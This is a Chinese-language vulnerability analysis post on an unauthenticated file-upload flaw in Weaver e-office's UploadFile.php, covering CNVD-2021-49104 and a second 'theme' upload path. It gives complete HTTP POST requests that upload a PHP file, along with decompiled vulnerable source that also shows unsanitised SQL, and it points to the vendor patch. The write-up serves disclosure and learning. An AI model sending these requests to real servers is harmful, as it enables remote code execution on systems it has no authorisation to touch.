引言

本文仅用于交流学习, 由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

中华人民共和国网络安全法:
https://baike.baidu.com/item/%E4%B8%AD%E5%8D%8E%E4%BA%BA%E6%B0%91%E5%85%B1%E5%92%8C%E5%9B%BD%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E6%B3%95/16843044?fromtitle=%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E6%B3%95&fromid=12291792&fr=aladdin#2


0x01 前言

本来想着分析分析泛微eoffice最新出的漏洞CNVD-2021-49104的,分析分析着,发现代码好像有别的方法也存在这样的漏洞,未授权getshell。一看补丁包,同步修复了这个漏洞。哎,食之无味弃之可惜,写一篇文章,安慰安慰自己。记录一下发现的时间。。。

0x02 环境搭建

下载安装包安装即可。

0x03 漏洞复现

1、无需登录,直接发包即可

POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1
Host: 10.211.55.3:8082
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Length: 192
Origin: http://10.211.55.3:8082
Connection: close
Referer: http://10.211.55.3:8082/login.php
Cookie: LOGIN_LANG=cn; PHPSESSID=715b458eb0c0227c9d9e23b81222880b
Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4

--e64bdf16c554bbc109cecef6451c26a4
Content-Disposition: form-data; name="Filedata"; filename="test.php"
Content-Type: image/jpeg

<?php phpinfo();?>

--e64bdf16c554bbc109cecef6451c26a4--

2、成功后访问http://10.211.55.3:8082/images/logo/logo-eoffice.php
可以看到执行成功。

0x04 漏洞分析

1、根据请求的路径
/general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId=
定位到文件:/webroot/general/index/UploadFile.php

2、打开乱码问题,搜索一下发现是使用了php zend进行加密

解密地址:http://dezend.qiling.org/free/
上传加密文件,输入验证码便可以获取解密后的文件

获取的解密代码如下:

<?php

class UploadFile
{
    private static $_instance = NULL;
    private function __construct()
    {
    }
    private function __clone()
    {
    }
    public static function getInstance()
    {
        if (!self::$_instance instanceof self) {
            self::$_instance = new self();
        }
        return self::$_instance;
    }
    public function uploadPicture($connection)
    {
        if (!empty($_FILES)) {
            $tempFile = $_FILES['Filedata']['tmp_name'];
            $uploadType = $_REQUEST['uploadType'];
            if ($uploadType == "login_logo") {
                $targetPath = $_SERVER['DOCUMENT_ROOT'] . "/images/logo/";
                if (!file_exists($targetPath)) {
                    mkdir($targetPath, 511, true);
                }
                $ext = $this->getFileExtension($_FILES['Filedata']['name']);
                if (!in_array(strtolower($ext), array(".jpg", ".jpeg", ".png", ".gif"))) {
                    echo 3;
                    exit;
                }
                $_targetFile = "logo-login" . $ext;
                $targetFile = str_replace("//", "/", $targetPath) . "/" . $_targetFile;
                if (move_uploaded_file($tempFile, $targetFile)) {
                    $query = "UPDATE login_form SET LOGO='{$_targetFile}'";
                    $result = exequery($connection, $query);
                    if ($result) {
                        echo $_targetFile;
                    } else {
                        echo 0;
                    }
                } else {
                    echo 0;
                }
            } else {
                if ($uploadType == "login_bg") {
                    $targetPath = $_SERVER['DOCUMENT_ROOT'] . "/images/login-bg/";
                    $thumbPath = $_SERVER['DOCUMENT_ROOT'] . "/images/login-bg/thumb/";
                    if (!file_exists($targetPath)) {
                        mkdir($targetPath, 511, true);
                    }
                    if (!file_exists($thumbPath)) {
                        mkdir($thumbPath, 511, true);
                    }
                    $thumbs = scandir($thumbPath);
                    if (12 < sizeof($thumbs)) {
                        echo 2;
                        exit;
                    }
                    $ext = $this->getFileExtension($_FILES['Filedata']['name']);
                    if (!in_array(strtolower($ext), array(".jpg", ".jpeg", ".png", ".gif"))) {
                        echo 3;
                        exit;
                    }
                    $_targetFile = "theme-" . time() . $ext;
                    $targetFile = str_replace("//", "/", $targetPath) . "/" . $_targetFile;
                    $thumbFile = str_replace("//", "/", $thumbPath) . "/" . $_targetFile;
                    if (move_uploaded_file($tempFile, $targetFile)) {
                        if ($this->createThumb($targetFile, $thumbFile, $ext)) {
                            $query = "UPDATE login_form SET THEME='{$_targetFile}',THEME_THUMB='{$_targetFile}'";
                            $result = exequery($connection, $query);
                            echo 1;
                        } else {
                            echo 4;
                        }
                    } else {
                        echo 0;
                    }
                } else {
                    if ($uploadType == "theme") {
                        $targetPath = $_SERVER['DOCUMENT_ROOT'] . "/images/themes/";
                        if (!file_exists($targetPath)) {
                            mkdir($targetPath, 511, true);
                        }
                        $userId = $_GET['userId'];
                        $sql = "SELECT * FROM user WHERE USER_ID='{$userId}'";
                        $result = exequery($connection, $sql);
                        if ($ROW = mysql_fetch_array($result)) {
                            $themeImage = $ROW['THEME_IMG'];
                        }
                        $ext = $this->getFileExtension($_FILES['Filedata']['name']);
                        $_targetFile = md5(time()) . $ext;
                        $targetFile = str_replace("//", "/", $targetPath) . "/" . $_targetFile;
                        $oldFile = str_replace("//", "/", $targetPath) . "/" . $themeImage;
                        if (move_uploaded_file($tempFile, $targetFile)) {
                            $sql = "UPDATE user SET THEME_IMG='{$_targetFile}' WHERE USER_ID='{$userId}'";
                            $result = exequery($connection, $sql);
                            if ($result) {
                                if (file_exists($oldFile)) {
                                    unlink($oldFile);
                                }
                                $size = getimagesize($targetFile);
                                $themeWidth = $size[0];
                                $themeHeight = $size[1];
                                if (491 < $themeWidth) {
                                    $themeWidth = 491;
                                    $themeHeight = intval($themeHeight * (490 / $size[0]));
                                }
                                echo json_encode(array("name" => $_targetFile, "width" => $themeWidth, "height" => $themeHeight));
                            } else {
                                if (file_exists($targetFile)) {
                                    unlink($targetFile);
                                }
                                echo false;
                            }
                        } else {
                            echo false;
                        }
                    } else {
                        if ($uploadType == "eoffice_logo") {
                            $targetPath = $_SERVER['DOCUMENT_ROOT'] . "/images/logo/";
                            if (!file_exists($targetPath)) {
                                mkdir($targetPath, 511, true);
                            }
                            $ext = $this->getFileExtension($_FILES['Filedata']['name']);
                            $_targetFile = "logo-eoffice" . $ext;
                            $targetFile = str_replace("//", "/", $targetPath) . "/" . $_targetFile;
                            if (move_uploaded_file($tempFile, $targetFile)) {
                                $query = "SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO'";
                                $result = exequery($connection, $query);
                                $row = mysql_fetch_array($result);
                                $param1 = $param2 = false;
                                if (!$row) {
                                    $query = "INSERT INTO sys_para VALUES('SYS_LOGO','{$_targetFile}')";
                                    $param1 = exequery($connection, $query);
                                } else {
                                    $query = "UPDATE sys_para SET PARA_VALUE='{$_targetFile}' WHERE PARA_NAME='SYS_LOGO'";
                                    $param1 = exequery($connection, $query);
                                }
                                $query = "SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO_TYPE'";
                                $result = exequery($connection, $query);
                                $row = mysql_fetch_array($result);
                                if (!$row) {
                                    $query = "INSERT INTO sys_para VALUES('SYS_LOGO_TYPE','2')";
                                    $param2 = exequery($connection, $query);
                                } else {
                                    $query = "UPDATE sys_para SET PARA_VALUE='2' WHERE PARA_NAME='SYS_LOGO_TYPE'";
                                    $param2 = exequery($connection, $query);
                                }
                                if ($param1 && $param2) {
                                    echo $_targetFile;
                                } else {
                                    echo 0;
                                }
                            } else {
                                echo 0;
                            }
                        }
                    }
                }
            }
        }
    }
    public function getFileExtension($file)
    {
        $pos = strrpos($file, ".");
        $ext = substr($file, $pos);
        return $ext;
    }
    public function createThumb($targetFile, $thumbFile, $ext)
    {
        $dstW = 91;
        $dstH = 53;
        if (@imagecreatefromgif($targetFile)) {
            $src_image = imagecreatefromgif($targetFile);
        } else {
            if (@imagecreatefrompng($targetFile)) {
                $src_image = imagecreatefrompng($targetFile);
            } else {
                if (@imagecreatefromjpeg($targetFile)) {
                    $src_image = imagecreatefromjpeg($targetFile);
                }
            }
        }
        switch (strtolower($ext)) {
            case ".jpeg":
                $srcW = imagesx($src_image);
                $srcH = imagesy($src_image);
                $dst_image = imagecreatetruecolor($dstW, $dstH);
                imagecopyresized($dst_image, $src_image, 0, 0, 0, 0, $dstW, $dstH, $srcW, $srcH);
                return imagejpeg($dst_image, $thumbFile);
            case ".png":
                $srcW = imagesx($src_image);
                $srcH = imagesy($src_image);
                $dst_image = imagecreatetruecolor($dstW, $dstH);
                imagecopyresized($dst_image, $src_image, 0, 0, 0, 0, $dstW, $dstH, $srcW, $srcH);
                return imagepng($dst_image, $thumbFile);
            case ".jpg":
                $srcW = imagesx($src_image);
                $srcH = imagesy($src_image);
                $dst_image = imagecreatetruecolor($dstW, $dstH);
                imagecopyresized($dst_image, $src_image, 0, 0, 0, 0, $dstW, $dstH, $srcW, $srcH);
                return imagejpeg($dst_image, $thumbFile);
            case ".gif":
                $srcW = imagesx($src_image);
                $srcH = imagesy($src_image);
                $dst_image = imagecreatetruecolor($dstW, $dstH);
                imagecopyresized($dst_image, $src_image, 0, 0, 0, 0, $dstW, $dstH, $srcW, $srcH);
                return imagegif($dst_image, $thumbFile);
                break;
            default:
                break;
        }
    }
}
include_once "inc/conn.php";
$upload = UploadFile::getinstance();
$method = $_GET['m'];
$upload->{$method}($connection);

3、首先第4-217行属于类UploadFile,这里可以先不看。从第218行开始执行代码,首先,定义类对象,对象执行m传入的方法。

include_once "inc/conn.php";
$upload = UploadFile::getinstance();
$method = $_GET['m'];
$upload->{$method}($connection);

4、根据请求:
m=uploadPicture&uploadType=eoffice_logo&userId=
定位到方法uploadPicture

5、首先检测$_FILES是否为空,不为空,进去条件分支语句。在第23行,看到了uploadType,这里传入的是eoffice_logo,定位到代码122行。(我会在代码注释中放上分析)

if ($uploadType == "eoffice_logo") {
                            //定义上传路径
                            $targetPath = $_SERVER['DOCUMENT_ROOT'] . "/images/logo/";
                            //检测"/images/logo/"路径是否存在
                            if (!file_exists($targetPath)) {
                                mkdir($targetPath, 511, true);
                            }
                            //通过getFileExtension方法提取后缀
                            $ext = $this->getFileExtension($_FILES['Filedata']['name']);
                            //直接拼接后缀
                            $_targetFile = "logo-eoffice" . $ext;
                            //"//"替换成"/"
                            $targetFile = str_replace("//", "/", $targetPath) . "/" . $_targetFile;
                            //调用move_uploaded_file方法,检测文件是否合法
                            if (move_uploaded_file($tempFile, $targetFile)) {
                                $query = "SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO'";
                                $result = exequery($connection, $query);
                                $row = mysql_fetch_array($result);
                                $param1 = $param2 = false;
                                //如果文件不存在,使用insert插入文件
                                if (!$row) {
                                    $query = "INSERT INTO sys_para VALUES('SYS_LOGO','{$_targetFile}')";
                                    $param1 = exequery($connection, $query);
                                } else {
                                //如果文件存在,则使用update更新文件
                                    $query = "UPDATE sys_para SET PARA_VALUE='{$_targetFile}' WHERE PARA_NAME='SYS_LOGO'";
                                    $param1 = exequery($connection, $query);
                                }
                                $query = "SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO_TYPE'";
                                $result = exequery($connection, $query);
                                $row = mysql_fetch_array($result);
                                if (!$row) {
                                    $query = "INSERT INTO sys_para VALUES('SYS_LOGO_TYPE','2')";
                                    $param2 = exequery($connection, $query);
                                } else {
                                    $query = "UPDATE sys_para SET PARA_VALUE='2' WHERE PARA_NAME='SYS_LOGO_TYPE'";
                                    $param2 = exequery($connection, $query);
                                }
                                if ($param1 && $param2) {
                                    echo $_targetFile;
                                } else {
                                    echo 0;
                                }
                            } else {
                                echo 0;
                            }
                        }

可以看到检测路径、提取路径,提取后缀等

后面直接执行了数据库语句进行文件的更新或插入操作。

6、getFileExtension方法在下面,其实就是以点来分割后缀。

exequery方法在include_once引用的 "inc/conn.php"文件中,可以看到也没有进行过滤。

7、回到原来的UploadFile.php文件,往下有个createThumb方法,可以看到这里是有进行后缀检测的

8、全局搜索一下,发现当uploadType="login_bg"时调用了它,这里上传会检测后缀

9、再往前看,发现当uploadType="login_logo"时设置了白名单后缀

10、下面还有一个当uploadType="theme"的时候执行的代码,简单看了一下,居然没有进行过滤

11、然后,就发现了一个新的未公开的漏洞,在上面的theme方法

POST /general/index/UploadFile.php?m=uploadPicture&uploadType=theme&userId=1 HTTP/1.1
Host: 10.211.55.3:8082
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Length: 192
Origin: http://10.211.55.3:8082
Connection: close
Referer: http://10.211.55.3:8082/login.php
Cookie: LOGIN_LANG=cn; PHPSESSID=715b458eb0c0227c9d9e23b81222880b
Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4

--e64bdf16c554bbc109cecef6451c26a4
Content-Disposition: form-data; name="Filedata"; filename="test.php"
Content-Type: image/jpeg

<?php phpinfo();?>

--e64bdf16c554bbc109cecef6451c26a4--


12、下载了补丁包,发现都设置了上传后缀白名单,并且加了个过滤器。目前泛微官方已发布此漏洞的软件更新,建议受影响用户尽快升级到安全版本。
官方链接如下:http://v10.e-office.cn/eoffice9update/safepack.zip
theme

eoffice_logo

0x05 总结

本来想好好写篇分析文章的,现在还发现了一个未公开的漏洞利用poc,搞得有点尴尬,漏洞涉及版本没有深究,好像新版本后面没有了?
哎,食之无味弃之可惜~本篇内容仅用于信息防御技术学习,未经许可不允许进行非授权测试,谢谢合作。
希望受影响的用户尽快升级到安全版本。
官方补丁下载链接如下:http://v10.e-office.cn/eoffice9update/safepack.zip

点击收藏 | 2 关注 | 2
登录 后跟帖